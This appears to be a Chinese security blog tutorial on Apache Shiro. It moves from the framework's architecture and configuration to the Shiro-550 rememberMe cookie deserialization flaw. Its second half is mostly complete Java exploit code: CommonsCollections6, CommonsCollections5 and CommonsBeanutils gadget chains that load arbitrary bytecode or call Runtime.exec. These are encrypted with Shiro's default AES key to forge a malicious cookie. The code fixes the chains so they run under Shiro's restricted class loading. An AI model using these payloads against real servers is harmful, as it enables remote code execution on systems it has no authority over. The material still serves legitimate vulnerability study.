shiro反序列化分析
- 基础知识
- 简单介绍
- 关键组件
- SecurityManager
- Subject
- Realm
- 总结
- shiro安全框架在web中使用
- 配置文件
- 配置具体实现
- ShiroFilter过滤器分析
- shiro的漏洞
- shiro550链子分析
- 序列化加密cookie
- 反序列化解密cookie验证
- 总结
- poc编写存在的问题和解决
- CC6+TemplatesIml
- CC6+instantiateTransformer
- CommonsCollections5 改造
- 原生Commons-Beanutils链攻击
基础知识
简单介绍
Apache Shiro 是一个 Java 安全框架,包括如下功能和特性:
Authentication:身份认证/登陆,验证用户是不是拥有相应的身份。在 Shiro 中,所有的操作都是基于当前正在执行的用户,这里称之为一个 Subject,在用户任意代码位置都可以轻易取到这个Subject。Shiro 支持数据源,称之为 Realms,可以利用其连接 LDAP\AD\JDBC 等安全数据源,并支持使用自定义的 Realms,并可以同时使用一个或多个 Realms 对一个用户进行认证,认证过程可以使用配置文件配置,无需修改代码。同时,Shiro 还支持 RememberMe,记住后下次访问就无需登录。
Authorization:授权,即权限验证,验证某个已认证的用户是否拥有某个权限。同样基于 Subject、支持多种 Realms。Shiro 支持 Wildcard Permissions ,也就是使用通配符来对权限验证进行建模,使权限配置简单易读。Shiro 支持基于 Roles 和基于 Permissions 两种方式的验证,可以根据需要进行使用。并且支持缓存产品的使用。
Session Manager:会话管理,用户登陆后就是一次会话,在没有退出之前,它的所有信息都在会话中。Shiro 中的一切(包括会话和会话管理的所有方面)都是基于接口的,并使用 POJO 实现,因此可以使用任何与 JavaBeans 兼容的配置格式(如 JSON、YAML、Spring XML 或类似机制)轻松配置所有会话组件。Session 支持缓存集群的方式;还支持事件侦听器,允许在会话的生命周期内侦听生命周期事件,以执行相关逻辑。Shiro Sessions 保留发起会话的主机的 IP 地址,因此可以根据用户位置来执行不同逻辑。Shiro 对 Web 支持实现了 HttpSession 类及相关全部 API。也可以在 SSO 中使用。
Cryptography:加密,保护数据的安全性;Shiro 专注于使用公私钥对数据进行加密,以及对密码等数据进行不可逆的哈希。
Permissions:用户权限;Shiro 将所有的操作都抽象为 Permission,并默认使用 Wildcard Permissions 来进行匹配。Shiro 支持实例级别的权限控制校验,例如domain:action:instance。
Caching:缓存,为了提高 Shiro 在业务中的性能表现。Shiro 的缓存支持基本上是一个封装的 API,由用户自行选择底层的缓存方式。缓存中有三个重要的接口 CacheManager/Cache/CacheManagerAware ,Shiro 提供了默认的 MemoryConstrainedCacheManager 等实现。
关键组件
SecurityManager
我们看名字就是安全管理的意思,它是shiro的一个核心接口,负责对subject(其实应该是user的,shiro为了避免重复,就取名为subject了)进行安全操作
- 接口本身定义了 createSubject、login、logout 三个方法用来创建 Subject、登陆和退出。
- 扩展了 org.apache.shiro.authc.Authenticator 接口,提供了 authenticate
方法用来进行认证。 - 扩展了 org.apache.shiro.authz.Authorizer 接口,提供了对 Permission 和 Role
的校验方法。包括 has/is/check 相关命名的方法。 - 扩展了 org.apache.shiro.session.mgt.SessionManager 接口,提供了
start、getSession 方法用来创建可获取会话。
可以发现这个接口还继承了很多接口,所以它也实现了很多的功能这里讲一讲最底层的DefaultSecurityManager
继承了上面各种老大哥的东西
它有许多属性
在自身中有三个,因为还继承了,所以也有上面父类的属性,这里讲一讲这些属性
subjectFactory和subjectDAO
public DefaultSecurityManager() {
super();
this.subjectFactory = new DefaultSubjectFactory();
this.subjectDAO = new DefaultSubjectDAO();
}
可以看到我们的subjectFactory就是DefaultSubjectFactory类的一个实例化对象
就两个方法,就是创建subject的
其他的我就不具体放代码了
subjectDAO:默认使用 DefaultSubjectDAO,用于将 Subject 中最近信息保存到 Session 里面。----(DAO,它是Data Access Object的缩写,数据访问对象。这是一个设计模式,用于将低级的数据访问逻辑或操作从高级的业务服务中分离出来。在Java中,数据访问对象模式是一个用于处理持久性存储的模式,如访问数据和存储数据的行为。)
rememberMeManager:用于提供 RememberMe 相关功能。
sessionManager:默认使用 DefaultSessionManager,Session 相关操作会委托给这个类。
authorizer:默认使用 ModularRealmAuthorizer,用来配置授权策略。
authenticator:默认使用 ModularRealmAuthenticator,用来配置认证策略。
realm:对认证和授权的配置,由用户自行配置,包括 CasRealm、JdbcRealm 等。
cacheManager:缓存管理,由用户自行配置,在认证和授权时先经过,用来提升认证授权速度。
这个类其实就是初始化默认配置这些属性
Subject
前面也说过,org.apache.shiro.subject.Subject 是一个接口,用来表示在 Shiro 中的一个用户。因为在太多组件中都使用了 User 的概念,所以 Shiro 故意避开了这个关键字,使用了 Subject。
可以看到这个接口有许多方法,同样也是提供了认证(login/logout)、授权(访问控制 has/is/check 方法)以及获取会话的能力。在应用程序中如果想要获取一个当前的 Subject,通常使用 SecurityUtils.getSubject() 方法即可。
它和我们的 SecurityManager 提供了非常近似的方法
如果我们仔细分析,我们看到它的实现类DelegatingSubject,它有一个属性
DelegatingSubject 中保存了一个 transient 修饰的 SecurityManager 成员变量,在使用具体的校验方法时,实际上委托 SecurityManager 进行处理,如下图:DelegatingSubject 中不会保存和维持一个用户的“状态(角色/权限)”,恰恰相反,每次它都依赖于底层的实现组件 SecurityManager 进行检查和校验,因此通常会要求 SecurityManager 的实现类来提供一些缓存机制。所以本质上,Subject 也是一种“无状态”的实现。
Realm
其实我们把它叫做role(权力)就可以很好的理解了可以看到它是属于一个底层了,我们看到实现就能更好理解它是干嘛的
可以看到都是一些经典的api,org.apache.shiro.realm.Realm接口,通过Realm来访问指定应用的安全实体———用户、角色、权限等。
一个Realm通常与一个数据源有1对1的对应关系,此接口的实现类,将使用特定于数据源的 API 来进行认证或授权,如 JDBC、文件IO
在使用中,开发人员通常不会直接实现 Realm 接口,而是实现 Shiro 提供了一些相关功能的抽象类 AuthenticatingRealm/AuthorizingRealm,或者使用针对特定数据源提供的实现类如 JndiLdapRealm/JdbcRealm/PropertiesRealm/TextConfigurationRealm/IniRealm 等等
总结
通过对以上三个组件的了解,一次认证及授权的校验流程就形成了:
- 应用程序通过获取当前访问的 Subject(也就是用户),并调用其相应校验方法;
- Subject 将校验委托给 SecurityManager 进行判断;
- SecurityManager 会调用 Realm 来获取信息来判断用户对应的角色能否进行操作。
shiro安全框架在web中使用
配置文件
web.xml
Shiro 1.2及以后的版本:
<listener>
<listener-class>org.apache.shiro.web.env.EnvironmentLoaderListener</listener-class>
</listener>
<filter>
<filter-name>ShiroFilter</filter-name>
<filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>ShiroFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
使用ShiroFilter类作为Filter过滤器,并设置EnvironmentLoaderListener作为Web应用程序的一个监听器
shiro.ini
主要包括[main]
、[users]
、[roles]
、[urls]
四项配置。
如果配置了[uesrs]
或[roles]
,则会自动创建org.apache.shiro.realm.text.IniRealm
实例,并可以在 [main]
配置中进行调用及配置。
main:主要是配置应用程序SecurityManager实例以及其他依赖项的地方
比如
[main]
# 指定 Realm 的实现类
myRealm = com.mycompany.MyRealm
# 指定 SecurityManager 的实现类
securityManager = org.apache.shiro.mgt.DefaultSecurityManager
# 将 Realm 添加到 SecurityManager 中
securityManager.realms = $myRealm
#没有登录的用户,请求某个资源页面时,自动跳转到制定的/login.jsp页面。
shiro.loginUrl=/login.jsp
shiro.unauthorizedUrl=/index.jsp
登录成功的用户,访问了没有被授权的资源,自动跳转到制定的页面。
[users]
# 定义用户和他们的密码
username1 = password1
username2 = password2
[roles]
# 定义角色和他们的权限
admin = *
user = read, write
[urls]
#定义 URL 的访问权限
/admin/** = authc, roles[admin]
/user/** = authc, roles[user]
#定义拦截器
[urls]
/login.jsp = authc
/logout = logout
/** = user
Shiro默认提供了一些Filter,名称和对应处理类如下
配置具体实现
ShiroFilter过滤器分析
当你有如下设置后:
web.xml
<filter>
<filter-name>ShiroFilter</filter-name>
<filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>ShiroFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
这就意味着,在启动Shiro Web应用时会,首先会调用一次它的init()方法,在访问某个路由时调用doFilter()方法
我们可以看到选取WebEnvironment中的WebSecurityManager来作为Shiro上下文中的SecurityManager
随后会调用doFilter方法,由于本类没有实现,所以会去调用继承的doFilter方法
OncePerRequestFilter.doFilter
正常情况下的逻辑会进入else语句"过滤器尚未执行,现在执行",这里会调用子类AbstractShiroFilter.doFilterInternal方法,具体逻辑
根据具体的请求和响应,创建对应的Subject对象,在通过execute方法进行校验
这里会使用保存的SecurityManager(也就是WebSecurityManager)来创建 Subject 对象
shiro的漏洞
shiro550链子分析
序列化加密cookie
首先我先给出调用栈
DelegatingSubject.login()
->DelegatingSubject.login()
->DelegatingSubject.onSuccessfulLogin()
->DelegatingSubject.rememberMeSuccessfulLogin()
->AbstractRememberMeManager.javaonSuccessfulLogin()
->AbstractRememberMeManager.rememberIdentity()
->AbstractRememberMeManager.rememberIdentity()
->AbstractRememberMeManager.convertPrincipalsToBytes()
->AbstractRememberMeManager.encrypt() #加密登陆信息
->CookieRememberMeManager.javarememberSerializedIdentity() #设置cookie
我们直接从登录成功那里开始分析,也就是onSuccessfulLogin方法这里
首先是看我们是否开启了rememberme这个选项
如果开启了会调用rememberIdentity方法
PrincipalCollection principals:这是一个PrincipalCollection对象,它是一个集合,存储了用户的主要信息。在Shiro框架中,这个对象通常用于存储用户的身份信息,例如用户名或用户ID。
这里会继续会调用它的一个重载方法
然后调用convertPrincipalsToBytes方法
把我们的byte数据序列化
那我们的这个是什么,就是我们的cookie
然后调用encrypt加密操作
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/bce19281ba1a4965899ed114838b246d.png
进行了一次AES加密,这里也就是我们的问题所在,默认的 CipherKey 往上翻就能看到
然后就是返回加密后的数据回到rememberIdentity方法,继续调用
rememberSerilaizedIdentity方法
只是对我们的数据进行了base编码
保存到cookie中
反序列化解密cookie验证
我们shiro这时候就会验证cookie,进入getRememberedSerializedIdentity方法
就是把我们的内容base解码,然后现在按理说应该是aes解密了,我们寻找调用了getRememberedSerializedIdentity的地方
在org.apache.shiro.mgt.AbstractRememberMeManager类的的getRememberedPrincipals方法中调用了这个方法其中这里的bytes就是经过base64解密后的Cookie值,随后会调用convertBytesToPrincipals方法
进行一次AES解密,然后触发一次反序列化操作
总结
经过对上面的分析,我们已经知道我们一个攻击的思路了,那就是把我们的cookie传入恶意的序列化数据,然后一定要勾选rememberme,然后shiro就会反序列化我们的数据,造成反序列化攻击
poc编写存在的问题和解决
我们进行攻击,比如我们的cc6,只需要加上我们的aes加密即可
poc
package shiro;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsShiro {
public static void main(String[] args) throws Exception {
Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class ,new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
new ConstantTransformer(1)
};
Transformer transformerChain = new ChainedTransformer(faketransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Map map = new HashMap();
TiedMapEntry e = new TiedMapEntry(outerMap, "Nivia");
map.put(e, "nivia");
outerMap.remove("Nivia");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain,transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
System.out.printf(ciphertext.toString());
}
}
将运行结果作为rememberMe的Cookie发送,但是报错
无法去反序列化我们的数组,我们定位到抛出这个错误信息的地方org.apache.shiro.io.DefaultSerializer类
这个反序列化和我们正常反序列化不同的地方在于ClassResolvingObjectInputStream类
ClassResolvingObjectInputStream类重写了resolveClass方法,这个方法用于加载与指定流类描述等效的本地类。也就是读取序列化流的时候,读取到一个字符串形式的类,然后通过这个方法找到对应的Class对象
如果加载失败会抛出ClassNotFoundException异常
在ClassUtils.forName方法中,clazz为null,会抛出UnknownClassException异常
ClassResolvingObjectInputStream类的resolveClass方法中,利用了ClassUtils.forName方法来获取Class对象
其中的fqcn为[Lorg.apache.commons.collections.Transformer
,这里的[L
是JVM的标记,说明实际上是一个数组,即Transformer[]
重写后的resolveClass方法,采用的是ClassUtils.forName,而非Class.forName方法
所以我们不能使用数组
CC6+TemplatesIml
不能有数组,那就不能使用Transformer[]数组了,InvokerTransfomer.transform(key)但是如果我们只使用一次,那就不存在数组的问题了,我们这里通过字节码加载作为出口类,但是又要使用hashmap作为入口类,这里是
修改之后的pop
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class shiro_cc {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "calc");
InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
//避免put就弹出计算器5
TiedMapEntry tme = new TiedMapEntry(outerMap,obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove(obj);
setFieldValue(outerMap,"factory",newTransformer);
//反射修改transformer中的iMethodName为newTransformer
serialize(expMap);
unserialize("szzz.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("szzz.bin"));
oos.writeObject(obj);
}
//反序列化数据
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
CC6+instantiateTransformer
这个其实和上面的大同小异,只是避免使用InvokerTransformer,TrAXFilter.class类的transform方法可以调用对象的newtransfrom,但是没有序列化接口,而我们的InstantiateTransformer有接口,而且可以实例化一个对象
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class shiro_cc2 {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "calc");
// InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove(TrAXFilter.class);
setFieldValue(outerMap,"factory",instantiateTransformer);
serialize(expMap);
unserialize("szzz.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("szzz.bin"));
oos.writeObject(obj);
}
//反序列化数据
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
CommonsCollections5 改造
就是把lazymap触发的数组换成了字节码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC5_CC2_shiroexp {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","aaa");
byte[] code = Files.readAllBytes(Paths.get("evil.class"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,templates);//将这里的key用了起来
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
Class c = badAttributeValueExpException.getClass();
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);
serialize(badAttributeValueExpException);
unserialize("CC5_CC2_shiroexp.bin");
}
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC5_CC2_shiroexp.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}
原生Commons-Beanutils链攻击
如果没有cc依赖,我们应该怎么攻击呢?commons-beautils依赖是通过shiro-core自动导入的。
我们只需要修改一下cb链即可
找一个comparableComparator类替换即可
我们使用CaseInsensitiveComparator
但是这个类的元素必须是字符串类型
queue.add方法,这的add会到用offer方法,一直会调用到java.lang.String$CaseInsensitiveComparator.compare方法,这个方法接受的是两个字符串类型
package shiro;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class CommonsBeanutilsShiro {
public static void main(String[] args) throws Exception{
TemplatesImpl impl = new TemplatesImpl();
byte[] code = Base64.getDecoder().decode("恶意代码");
setFieldValue(impl, "_name", "nivia");
setFieldValue(impl, "_bytecodes", new byte[][]{code});
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
queueArray[0] = impl;
queueArray[1] = 1;
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
System.out.printf(ciphertext.toString());
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}
}
或者AttrCompare也可以
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.ReverseComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CB {
public static void main(String[] args) throws Exception {
//TemplatesImpl动态加载字节码
byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "wahaha");
final BeanComparator comparator = new BeanComparator("outputProperties",new AttrCompare());
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(obj);
priorityQueue.add(2);
setFieldValue(priorityQueue,"comparator",comparator);
// setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
serialize(priorityQueue);
unserialize("serzsd.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serzsd.bin"));
oos.writeObject(obj);
}
//反序列化数据
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}